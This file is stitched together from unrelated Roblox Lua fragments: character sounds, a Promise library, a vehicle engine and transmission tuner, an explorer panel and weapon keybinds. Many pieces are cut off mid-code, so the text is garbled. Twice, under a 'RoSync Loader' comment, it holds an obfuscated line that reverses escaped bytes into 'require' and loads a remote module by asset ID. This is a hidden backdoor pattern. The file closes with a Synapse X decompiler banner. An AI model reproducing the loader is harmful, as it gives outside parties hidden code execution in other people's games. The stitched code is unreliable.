tests. return end end)() end self:_finalize() end
-- Connect 'setupPlayerData()' function to 'PlayerAdded' event
game.Players.PlayerAdded:Connect(setupPlayerData) return PlayerStatManager
-- TwinPlayz -- Change the asset ID to any decal you want make sure your cursor is either transparent or not.
game.Players.LocalPlayer:GetMouse().Icon = "rbxassetid://68308747";
--// KeyBindings
FireSelectKey = Enum.KeyCode.V; CycleSightKey = Enum.KeyCode.T; LaserKey = Enum.KeyCode.L; LightKey = Enum.KeyCode.G; InteractKey = Enum.KeyCode.E; AlternateAimKey = Enum.KeyCode.Z; InspectionKey = Enum.KeyCode.H; AttachmentKey = Enum.KeyCode.LeftControl;
-- Create component
local TextLabel = Roact.PureComponent:extend 'TextLabel'
--[[ Last synced 7/2/2022 01:06 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)
-- Roblox character sound script
local Players = game:GetService("Players") local RunService = game:GetService("RunService") local SOUND_DATA : { [string]: {[string]: any}} = { Climbing = { SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3", --Change these IDs to what you want, it can be numbers, Roblox just has their default sounds look different. Looped = true, --For example, if i change "rbxasset://sounds/action_footsteps_plastic.mp3" to your custom sound, it would play that sound when you have action footsteps. I don't know what action footsteps are im assuming it's just walking. }, Died = { SoundId = "rbxasset://sounds/uuhhh.mp3", }, FreeFalling = { SoundId = "rbxasset://sounds/action_falling.mp3", Looped = true, }, GettingUp = { SoundId = "rbxasset://sounds/action_get_up.mp3", }, Jumping = { SoundId = "rbxasset://sounds/action_jump.mp3", }, Landing = { SoundId = "rbxasset://sounds/action_jump_land.mp3", }, Running = { SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3", Looped = true, Pitch = 1.85, }, Splash = { SoundId = "rbxasset://sounds/impact_water.mp3", }, Swimming = { SoundId = "rbxasset://sounds/action_swim.mp3", Looped = true, Pitch = 1.6, }, }
--[=[ Creates an immediately rejected Promise with the given value. :::caution Something needs to consume this rejection (i.e. `:catch()` it), otherwise it will emit an unhandled Promise rejection warning on the next frame. Thus, you should not create and store rejected Promises for later use. Only create them on-demand as needed. ::: ```lua -- Example using Promise.resolve to deliver cached values: function getSomething(name) if cache[name] then return Promise.resolve(cache[name]) else return Promise.new(function(resolve, reject) local thing = getTheThing() cache[name] = thing resolve(thing) end) end end ``` @param ... any @return Promise<...any> ]=]
function Promise.reject(...) local length, values = pack(...) return Promise._new(debug.traceback(nil, 2), function(_, reject) reject(unpack(values, 1, length)) end) end
--[=[ @return table Returns a serialized version of the option. ]=]
function Option:Serialize() return { ClassName = self.ClassName; Value = self._v; } end
-- padding between each entry
local ENTRY_MARGIN = 1 local explorerPanel = script.Parent local Input = game:GetService("UserInputService") local HoldingCtrl = false local HoldingShift = false local addObject local removeObject local gameChildren = {} table.insert(gameChildren, game:GetService("Workspace")) table.insert(gameChildren, game:GetService("Players")) table.insert(gameChildren, game:GetService("Lighting")) table.insert(gameChildren, game:GetService("ReplicatedFirst")) table.insert(gameChildren, game:GetService("ReplicatedStorage")) pcall(function() table.insert(gameChildren, game:GetService("CoreGui")) end) table.insert(gameChildren, game:GetService("StarterGui")) table.insert(gameChildren, game:GetService("StarterPack")) table.insert(gameChildren, game:GetService("StarterPlayer")) table.insert(gameChildren, game:GetService("SoundService")) table.insert(gameChildren, game:GetService("Chat")) table.insert(gameChildren, game:GetService("LocalizationService")) table.insert(gameChildren, game:GetService("TestService")) local childrenGame = {} childrenGame[game:GetService("Workspace")] = true childrenGame[game:GetService("Players")] = true childrenGame[game:GetService("Lighting")] = true childrenGame[game:GetService("ReplicatedFirst")] = true childrenGame[game:GetService("ReplicatedStorage")] = true pcall(function() childrenGame[game:GetService("CoreGui")] = true end) childrenGame[game:GetService("StarterGui")] = true childrenGame[game:GetService("StarterPack")] = true childrenGame[game:GetService("StarterPlayer")] = true childrenGame[game:GetService("SoundService")] = true childrenGame[game:GetService("Chat")] = true childrenGame[game:GetService("LocalizationService")] = true childrenGame[game:GetService("TestService")] = true local MuteHiddenItems = true local DexOutput = Instance_new("Folder") DexOutput.Name = "Output" local DexOutputMain = Instance_new("ScreenGui", DexOutput) DexOutputMain.Name = "Dex Output" local HiddenEntries = Instance_new("Folder") local HiddenGame = Instance_new("Folder") HiddenEntries.Name = "HiddenEntriesParent" local HiddenEntriesMain = Instance_new("TextButton", HiddenEntries) Instance_new("Folder", HiddenEntriesMain) local function NameHiddenEntries() if MuteHiddenItems then HiddenEntriesMain.Name = "Expand to view (" .. (#game:children() - #gameChildren) .. ") hidden items" else HiddenEntriesMain.Name = "Collapse to hide (" .. (#game:children() - #gameChildren) .. ") more items" end end NameHiddenEntries() local function print(...) local Obj = Instance_new("Dialog") Obj.Parent = DexOutputMain Obj.Name = "" for i,v in pairs(table.pack(...)) do Obj.Name = Obj.Name .. tostring(v) .. " " end end explorerPanel:WaitForChild("GetPrint").OnInvoke = function() return print end
--[[ An xpcall() error handler to collect and parse useful information about errors, such as clean messages and stack traces. ]]
local Package = script.Parent.Parent local Types = require(Package.Types) local function parseError(err: string): Types.Error return { raw = err, message = err:gsub("^.+:%d+:%s*", ""), trace = debug.traceback(nil, 2) } end return parseError
-- Parts
local Frame = Home:WaitForChild("Frame") local Hook1 = Swing1:WaitForChild("Hook1") local Hook2 = Swing1:WaitForChild("Hook2") local Hook3 = Swing2:WaitForChild("Hook3") local Hook4 = Swing2:WaitForChild("Hook4") local SwingSeat1 = Swing1:WaitForChild("SwingSeat1") local SwingSeat2 = Swing2:WaitForChild("SwingSeat2") local SwingMesh1 = Swing1:WaitForChild("SwingMesh1") local SwingMesh2 = Swing2:WaitForChild("SwingMesh2") local RopeSupport1 = Supports:WaitForChild("RopeSupport1") local RopeSupport2 = Supports:WaitForChild("RopeSupport2") local RopeSupport3 = Supports:WaitForChild("RopeSupport3") local RopeSupport4 = Supports:WaitForChild("RopeSupport4")
--[[ Last synced 10/9/2020 09:09 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
--- Validates that all of the arguments are in a valid state. -- This must be called before :Run() is called. -- Returns boolean (true if ok), errorText
function Command:Validate (isFinal) self._Validated = true local errorText = "" local success = true for i, arg in pairs(self.Arguments) do local argSuccess, argErrorText = arg:Validate(isFinal) if not argSuccess then success = false errorText = ("%s; #%d %s: %s"):format(errorText, i, arg.Name, argErrorText or "error") end end return success, errorText:sub(3) end
--[[ Place this script into "StarterPlayer.StarterPlayerScripts" ]]
-- local StarterGui = game:GetService("StarterGui")
-- map a value from one range to another
local function map(x, inMin, inMax, outMin, outMax) return (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin end local function playSound(sound) sound.TimePosition = 0 sound.Playing = true end local function stopSound(sound) sound.Playing = false sound.TimePosition = 0 end local function shallowCopy(t) local out = {} for k, v in pairs(t) do out[k] = v end return out end local function initializeSoundSystem(player, humanoid, rootPart) local sounds = {} -- initialize sounds for name, props in pairs(SOUND_DATA) do local sound = Instance.new("Sound") sound.Name = name -- set default values sound.Archivable = false sound.EmitterSize = 5 sound.MaxDistance = 150 sound.Volume = 0.65 for propName, propValue in pairs(props) do sound[propName] = propValue end sound.Parent = rootPart sounds[name] = sound end local playingLoopedSounds = {} local function stopPlayingLoopedSounds(except) for sound in pairs(shallowCopy(playingLoopedSounds)) do if sound ~= except then sound.Playing = false playingLoopedSounds[sound] = nil end end end -- state transition callbacks local stateTransitions = { [Enum.HumanoidStateType.FallingDown] = function() stopPlayingLoopedSounds() end, [Enum.HumanoidStateType.GettingUp] = function() stopPlayingLoopedSounds() playSound(sounds.GettingUp) end, [Enum.HumanoidStateType.Jumping] = function() stopPlayingLoopedSounds() playSound(sounds.Jumping) end, [Enum.HumanoidStateType.Swimming] = function() local verticalSpeed = math.abs(rootPart.Velocity.Y) if verticalSpeed > 0.1 then sounds.Splash.Volume = math.clamp(map(verticalSpeed, 100, 350, 0.28, 1), 0, 1) playSound(sounds.Splash) end stopPlayingLoopedSounds(sounds.Swimming) sounds.Swimming.Playing = true playingLoopedSounds[sounds.Swimming] = true end, [Enum.HumanoidStateType.Freefall] = function() sounds.FreeFalling.Volume = 0 stopPlayingLoopedSounds(sounds.FreeFalling) playingLoopedSounds[sounds.FreeFalling] = true end, [Enum.HumanoidStateType.Landed] = function() stopPlayingLoopedSounds() local verticalSpeed = math.abs(rootPart.Velocity.Y) if verticalSpeed > 75 then sounds.Landing.Volume = math.clamp(map(verticalSpeed, 50, 100, 0, 1), 0, 1) playSound(sounds.Landing) end end, [Enum.HumanoidStateType.Running] = function() stopPlayingLoopedSounds(sounds.Running) sounds.Running.Playing = true playingLoopedSounds[sounds.Running] = true end, [Enum.HumanoidStateType.Climbing] = function() local sound = sounds.Climbing if math.abs(rootPart.Velocity.Y) > 0.1 then sound.Playing = true stopPlayingLoopedSounds(sound) else stopPlayingLoopedSounds() end playingLoopedSounds[sound] = true end, [Enum.HumanoidStateType.Seated] = function() stopPlayingLoopedSounds() end, [Enum.HumanoidStateType.Dead] = function() stopPlayingLoopedSounds() playSound(sounds.Died) end, } -- updaters for looped sounds local loopedSoundUpdaters = { [sounds.Climbing] = function(dt, sound, vel) sound.Playing = vel.Magnitude > 0.1 end, [sounds.FreeFalling] = function(dt, sound, vel) if vel.Magnitude > 75 then sound.Volume = math.clamp(sound.Volume + 0.9*dt, 0, 1) else sound.Volume = 0 end end, [sounds.Running] = function(dt, sound, vel) sound.Playing = vel.Magnitude > 0.5 and humanoid.MoveDirection.Magnitude > 0.5 end, } -- state substitutions to avoid duplicating entries in the state table local stateRemap = { [Enum.HumanoidStateType.RunningNoPhysics] = Enum.HumanoidStateType.Running, } local activeState = stateRemap[humanoid:GetState()] or humanoid:GetState() local activeConnections = {} local stateChangedConn = humanoid.StateChanged:Connect(function(_, state) state = stateRemap[state] or state if state ~= activeState then local transitionFunc = stateTransitions[state] if transitionFunc then transitionFunc() end activeState = state end end) local steppedConn = RunService.Stepped:Connect(function(_, worldDt) -- update looped sounds on stepped for sound in pairs(playingLoopedSounds) do local updater = loopedSoundUpdaters[sound] if updater then updater(worldDt, sound, rootPart.Velocity) end end end) local humanoidAncestryChangedConn local rootPartAncestryChangedConn local characterAddedConn local function terminate() stateChangedConn:Disconnect() steppedConn:Disconnect() humanoidAncestryChangedConn:Disconnect() rootPartAncestryChangedConn:Disconnect() characterAddedConn:Disconnect() end humanoidAncestryChangedConn = humanoid.AncestryChanged:Connect(function(_, parent) if not parent then terminate() end end) rootPartAncestryChangedConn = rootPart.AncestryChanged:Connect(function(_, parent) if not parent then terminate() end end) characterAddedConn = player.CharacterAdded:Connect(terminate) end local function playerAdded(player) local function characterAdded(character) -- Avoiding memory leaks in the face of Character/Humanoid/RootPart lifetime has a few complications: -- * character deparenting is a Remove instead of a Destroy, so signals are not cleaned up automatically. -- ** must use a waitForFirst on everything and listen for hierarchy changes. -- * the character might not be in the dm by the time CharacterAdded fires -- ** constantly check consistency with player.Character and abort if CharacterAdded is fired again -- * Humanoid may not exist immediately, and by the time it's inserted the character might be deparented. -- * RootPart probably won't exist immediately. -- ** by the time RootPart is inserted and Humanoid.RootPart is set, the character or the humanoid might be deparented. if not character.Parent then waitForFirst(character.AncestryChanged, player.CharacterAdded) end if player.Character ~= character or not character.Parent then return end local humanoid = character:FindFirstChildOfClass("Humanoid") while character:IsDescendantOf(game) and not humanoid do waitForFirst(character.ChildAdded, character.AncestryChanged, player.CharacterAdded) humanoid = character:FindFirstChildOfClass("Humanoid") end if player.Character ~= character or not character:IsDescendantOf(game) then return end -- must rely on HumanoidRootPart naming because Humanoid.RootPart does not fire changed signals local rootPart = character:FindFirstChild("HumanoidRootPart") while character:IsDescendantOf(game) and not rootPart do waitForFirst(character.ChildAdded, character.AncestryChanged, humanoid.AncestryChanged, player.CharacterAdded) rootPart = character:FindFirstChild("HumanoidRootPart") end if rootPart and humanoid:IsDescendantOf(game) and character:IsDescendantOf(game) and player.Character == character then initializeSoundSystem(player, humanoid, rootPart) end end if player.Character then characterAdded(player.Character) end player.CharacterAdded:Connect(characterAdded) end Players.PlayerAdded:Connect(playerAdded) for _, player in ipairs(Players:GetPlayers()) do playerAdded(player) end
--I am an academic weapon and machine.
local MWorks = require(game:GetService("ReplicatedStorage"):WaitForChild("Package").MWorks) local module = {} function module:setupUpdate() --Not used externally. Used for setting up classes of all types self.Updated = MWorks.newBindable() end function module.newClass(attributes) local self = {} if attributes then for i,v in pairs(attributes) do self[i] = v end end setmetatable(self,{ __index = module; }) self:setupUpdate() return self end function module:newSubClass(Name,attributes) local subClass = {} self[Name] = subClass if attributes then for i,v in pairs(attributes) do self[i] = v end end setmetatable(subClass,{__index = self}) subClass:setupUpdate() return subClass end function module:Update(...) local args = table.pack(...) if type(args[1]) == "table" then local Table = args[1] for i,v in pairs(Table) do if self[i] then self[i] = v self.Updated:Fire(i,v) end end elseif args[1] ~= nil then local Name = args[1] local Value = args[2] self[Name] = Value self.Updated:Fire(Name,Value) else self.Updated:Fire() end end function module:newValue(...) local args = table.pack(...) local index; local Value; if #args < 1 then return end if #args > 1 then index = args[1] Value = args[2] else index = #self+1 Value = args[1] end self[index] = Value self:Update(index,Value) return index end function module:removeValue(index) if self[index] == nil then return end self[index] = nil self:Update() end return module
--Protected Turn 2A--: Standard GYR with a protected turn for two signal directions on one road and one on intersecting road
--USES: Signal1, Signal1a, Signal2, Signal2a, Turn1, Turn2 while true do PedValues = script.Parent.Parent.PedValues SignalValues = script.Parent.Parent.SignalValues TurnValues = script.Parent.Parent.TurnValues
--// Walk and Sway
local L_125_ local L_126_ = 0.6 local L_127_ = 0.05 -- speed local L_128_ = -0.1 -- height local L_129_ = 0 local L_130_ = 0 local L_131_ = 35 --This is the limit of the mouse input for the sway local L_132_ = -9 --This is the magnitude of the sway when you're unaimed local L_133_ = -9 --This is the magnitude of the sway when you're aimed
-- Gradually regenerates the Humanoid's Health over time.
local REGEN_RATE = .5/100 -- Regenerate this fraction of MaxHealth per second. local REGEN_STEP = 3 -- Wait this long between each regeneration step.
-- Functional Services
tween_service = game:GetService("TweenService")
--Body Mover Setup--
local bp = body.BodyPosition bp.Position = body.Position bp.MaxForce = Vector3.new(math.huge,math.huge,math.huge) local bg = myRoot.BodyGyro bg.CFrame = myRoot.CFrame bg.MaxTorque = Vector3.new(math.huge,math.huge,math.huge) bgTorque = bg.MaxTorque
--[[Engine]]
local fFD = _Tune.FinalDrive*_Tune.FDMult local fFDr = fFD*30/math.pi local cGrav = workspace.Gravity*_Tune.InclineComp/32.2 local wDRatio = wDia*math.pi/60 local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0) local cfYRot = CFrame.Angles(0,math.pi,0) local rtTwo = (2^.5)/2 if _Tune.Aspiration == "Single" then _TCount = 1 _TPsi = _Tune.Boost elseif _Tune.Aspiration == "Double" then _TCount = 2 _TPsi = _Tune.Boost*2 end --Horsepower Curve local HP=_Tune.Horsepower/100 local HP_B=((_Tune.Horsepower*((_TPsi)*(_Tune.CompressRatio/10))/7.5)/2)/100 local Peak=_Tune.PeakRPM/1000 local Sharpness=_Tune.PeakSharpness local CurveMult=_Tune.CurveMult local EQ=_Tune.EqPoint/1000 --Horsepower Curve function curveHP(RPM) RPM=RPM/1000 return ((-(RPM-Peak)^2)*math.min(HP/(Peak^2),CurveMult^(Peak/HP))+HP)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1)))) end local PeakCurveHP = curveHP(_Tune.PeakRPM) function curvePSI(RPM) RPM=RPM/1000 return ((-(RPM-Peak)^2)*math.min(HP_B/(Peak^2),CurveMult^(Peak/HP_B))+HP_B)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1)))) end local PeakCurvePSI = curvePSI(_Tune.PeakRPM) --Plot Current Horsepower function GetCurve(x,gear) local hp=(math.max(curveHP(x)/(PeakCurveHP/HP),0))*100 return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000 end --Plot Current Boost (addition to Horsepower) function GetPsiCurve(x,gear) local hp=(math.max(curvePSI(x)/(PeakCurvePSI/HP_B),0))*100 return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000 end --Output Cache local HPCache = {} local PSICache = {} for gear,ratio in pairs(_Tune.Ratios) do local nhpPlot = {} local bhpPlot = {} for rpm = math.floor(_Tune.IdleRPM/100),math.ceil((_Tune.Redline+100)/100) do local ntqPlot = {} local btqPlot = {} ntqPlot.Horsepower,ntqPlot.Torque = GetCurve(rpm*100,gear-2) btqPlot.Horsepower,btqPlot.Torque = GetPsiCurve(rpm*100,gear-2) hp1,tq1 = GetCurve((rpm+1)*100,gear-2) hp2,tq2 = GetPsiCurve((rpm+1)*100,gear-2) ntqPlot.HpSlope = (hp1 - ntqPlot.Horsepower) btqPlot.HpSlope = (hp2 - btqPlot.Horsepower) ntqPlot.TqSlope = (tq1 - ntqPlot.Torque) btqPlot.TqSlope = (tq2 - btqPlot.Torque) nhpPlot[rpm] = ntqPlot bhpPlot[rpm] = btqPlot end table.insert(HPCache,nhpPlot) table.insert(PSICache,bhpPlot) end --Powertrain wait() --Automatic Transmission function Auto() local maxSpin=0 for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end if _IsOn then _ClutchOn = true if _CGear >= 1 then if _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 5 then _CGear = 1 else if _Tune.AutoShiftMode == "RPM" then if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then _GThrotShift = 0 wait(_Tune.ShiftTime) _GThrotShift = 1 end _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then if _CGear ~= 1 then _GThrotShift = 0 wait(_Tune.ShiftTime/2) _GThrotShift = 1 end _CGear=math.max(_CGear-1,1) end else if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then _GThrotShift = 0 wait(_Tune.ShiftTime) _GThrotShift = 1 end _CGear=math.min(_CGear+1,#_Tune.Ratios-2) elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then if _CGear ~= 1 then _GThrotShift = 0 wait(_Tune.ShiftTime/2) _GThrotShift = 1 end _CGear=math.max(_CGear-1,1) end end end end end end local tqTCS = 1 --Apply Power function Engine() --Neutral Gear if _CGear==0 then _ClutchOn = false end --Car Is Off local revMin = _Tune.IdleRPM if not _IsOn then revMin = 0 _CGear = 0 _ClutchOn = false _GThrot = _Tune.IdleThrottle/100 end if car.DriveSeat.Tic.Value then revMin = 0 _GThrot = _Tune.IdleThrottle/100 end --Determine RPM local maxSpin=0 local maxCount=0 for i,v in pairs(Drive) do maxSpin = maxSpin + v.RotVelocity.Magnitude maxCount = maxCount + 1 end maxSpin=maxSpin/maxCount if _ClutchOn then local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin) local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9) _RPM = _RPM*clutchP + aRPM*(1-clutchP) else if _GThrot-(_Tune.IdleThrottle/100)>0 then if _RPM>_Tune.Redline then _RPM = _RPM-_Tune.RevBounce*2 else _RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100) end else _RPM = math.max(_RPM-_Tune.RevDecay,revMin) end end --Rev Limiter _spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2]) if _RPM>_Tune.Redline then if _CGear<#_Tune.Ratios-2 then _RPM = _RPM-_Tune.RevBounce else _RPM = _RPM-_Tune.RevBounce*.5 end end local TPsi = _TPsi/_TCount _Boost = _Boost + ((((((_HP*(_GThrot*1.2)/_Tune.Horsepower)/8)-(((_Boost/TPsi*(TPsi/15)))))*((36/_Tune.TurboSize)*2))/TPsi)*15) if _Boost < 0.05 then _Boost = 0.05 elseif _Boost > 2 then _Boost = 2 end local cTq = HPCache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)] _NH = cTq.Horsepower+(cTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1) _NT = cTq.Torque+(cTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1) if ((car.DriveSeat.Velocity.Magnitude*((10/12) * (60/88))) > car.DriveSeat.CCS.Value) and (car.DriveSeat.CC.Value == true) then _HP,_OutTorque = 0,0 else if _Tune.Aspiration ~= "Natural" then local bTq = PSICache[_CGear+2][math.floor(math.min(_Tune.Redline,math.max(_Tune.IdleRPM,_RPM))/100)] _BH = bTq.Horsepower+(bTq.HpSlope*((_RPM-math.floor(_RPM/100))/1000)%1) _BT = bTq.Torque+(bTq.TqSlope*((_RPM-math.floor(_RPM/100))/1000)%1) _HP = _NH + (_BH*(_Boost/2)) _OutTorque = _NT + (_BT*(_Boost/2)) else _HP = _NH _OutTorque = _NT end end local iComp =(car.DriveSeat.CFrame.lookVector.y)*cGrav if _CGear==-1 then iComp=-iComp end _OutTorque = _OutTorque*math.max(1,(1+iComp)) --Average Rotational Speed Calculation local fwspeed=0 local fwcount=0 local rwspeed=0 local rwcount=0 for i,v in pairs(car.Wheels:GetChildren()) do if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then fwspeed=fwspeed+v.RotVelocity.Magnitude fwcount=fwcount+1 elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then rwspeed=rwspeed+v.RotVelocity.Magnitude rwcount=rwcount+1 end end fwspeed=fwspeed/fwcount rwspeed=rwspeed/rwcount local cwspeed=(fwspeed+rwspeed)/2 --Update Wheels for i,v in pairs(car.Wheels:GetChildren()) do --Reference Wheel Orientation local Ref=(CFrame.new(v.Position-((v.Arm.CFrame*cfWRot).lookVector),v.Position)*cfYRot).lookVector local aRef=1 local diffMult=1 if v.Name=="FL" or v.Name=="RL" then aRef=-1 end --AWD Torque Scaling if car.DriveSeat.AWD.Value then _OutTorque = _OutTorque*rtTwo end --Differential/Torque-Vectoring if v.Name=="FL" or v.Name=="FR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50)))) if car.DriveSeat.AWD.Value then diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end elseif v.Name=="RL" or v.Name=="RR" then diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50)))) if _Tune.Config == "AWD" then diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50))))) end end _TCSActive = false _ABSActive = false --Output if _PBrake and (v.Name=="RR" or v.Name=="RL") then --PBrake v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*PBrakeForce v["#AV"].angularvelocity=Vector3.new() else --Apply Power if _GBrake==0 then local driven = false for _,a in pairs(Drive) do if a==v then driven = true end end if driven then local on=1 if not car.DriveSeat.IsOn.Value then on=0 end local clutch=1 if not _ClutchOn then clutch=0 end local throt = (math.min(_GThrot +_CThrot,1)) * _GThrotShift --Apply TCS tqTCS = 1 if _TCS then tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-(_Tune.TCSLimit/100))) end if tqTCS < 1 then _TCSAmt = tqTCS _TCSActive = true end --Update Forces local dir=1 if _CGear==-1 then dir = -1 end v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on*clutch v["#AV"].angularvelocity=Ref*aRef*_spLimit*dir else v["#AV"].maxTorque=Vector3.new() v["#AV"].angularvelocity=Vector3.new() end --Brakes else local brake = (_GBrake + _CBrake) --Apply ABS local tqABS = 1 if _ABS and math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.ABSThreshold>0 then tqABS = 0 end _ABSActive = (tqABS<1) --Update Forces if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*FBrakeForce*brake*tqABS else v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*RBrakeForce*brake*tqABS end v["#AV"].angularvelocity=Vector3.new() end end end end
-- This function assumes the character exists when it's called and has default behavior, -- i.e. developer is not parenting the character somewhere manually
function CharacterLoadedWrapper._waitForLoadedAsync(self: ClassType, character: Model) if not self:isLoaded() then -- Wait until the character is in Workspace so that the following conditions don't skip running. -- If the character is destroyed after this and never parented, :Wait() never resumes, causing the thread -- to yield forever, preventing the character from being garbage collected. Bug filed here: -- TODO: Add link to bug report if not character:IsDescendantOf(Workspace) then -- The character should be in workspace after waiting. However, deferred events may -- cause a character to get parented in and then back out before this :Wait() resumes, -- so we still need to check character.Parent later character.AncestryChanged:Wait() end -- Check character.Parent to avoid starting a :Wait() if the character is already destroyed -- which would keep the character from being garbage collected if character.Parent then if not isPrimaryPartSet(character) then character:GetPropertyChangedSignal("PrimaryPart"):Wait() end local humanoidMaybe = getHumanoid(character) if not humanoidMaybe then humanoidMaybe = waitForChildOfClassAsync(character, "Humanoid") :: Humanoid end local humanoid = humanoidMaybe :: Humanoid while not isHumanoidRootPartSet(humanoid) do humanoid.Changed:Wait() -- GetPropertyChangedSignal doesn't fire for RootPart, so we rely on .Changed end end -- Verify the character hasn't been destroyed and that no loaded criteria has become un-met. -- For example, the Humanoid being destroyed before the PrimaryPart was set if not self:isLoaded(character) then return end end -- Make sure this class wasn't destroyed while waiting for conditions to be true if self._destroyed then return end self:_listenForDeath(character) self.loaded:Fire(character) end function CharacterLoadedWrapper._listenForDeath(self: ClassType, character: Model) -- Debounce to prevent deferred events from letting .died event fire more than once, -- such as if the humanoid dies and the character is destroyed in the same compute cycle. -- With deferred events, that would fire both events on the next cycle, even if the connection -- is disconnected within the response to the event. local humanoid = getHumanoid(character) :: Humanoid local alreadyDied = false local diedConnection, removedConnection local function onDied() if alreadyDied then return end alreadyDied = true diedConnection:Disconnect() removedConnection:Disconnect() self.died:Fire(character) end diedConnection = humanoid.Died:Connect(onDied) -- .Destroying event would be preferred, but :LoadCharacter() just removes -- the character instead of destroying it. As long as that is the case, we -- can't use .Destroying to cover all edge cases. removedConnection = character.AncestryChanged:Connect(function() if not character:IsDescendantOf(Workspace) then onDied() end end) self._connections:add(diedConnection, removedConnection) end function CharacterLoadedWrapper.destroy(self: ClassType) self.loaded:DisconnectAll() self.died:DisconnectAll() self._destroyed = true self._connections:disconnect() end return CharacterLoadedWrapper
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 2.65 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 0.5 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 0.350 , -- Reverse, Neutral, and 1st gear are required } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--[[VARIABLE DEFINITION ANOMALY DETECTED, DECOMPILATION OUTPUT POTENTIALLY INCORRECT]]-- -- Decompiled with the Synapse X Luau decompiler.
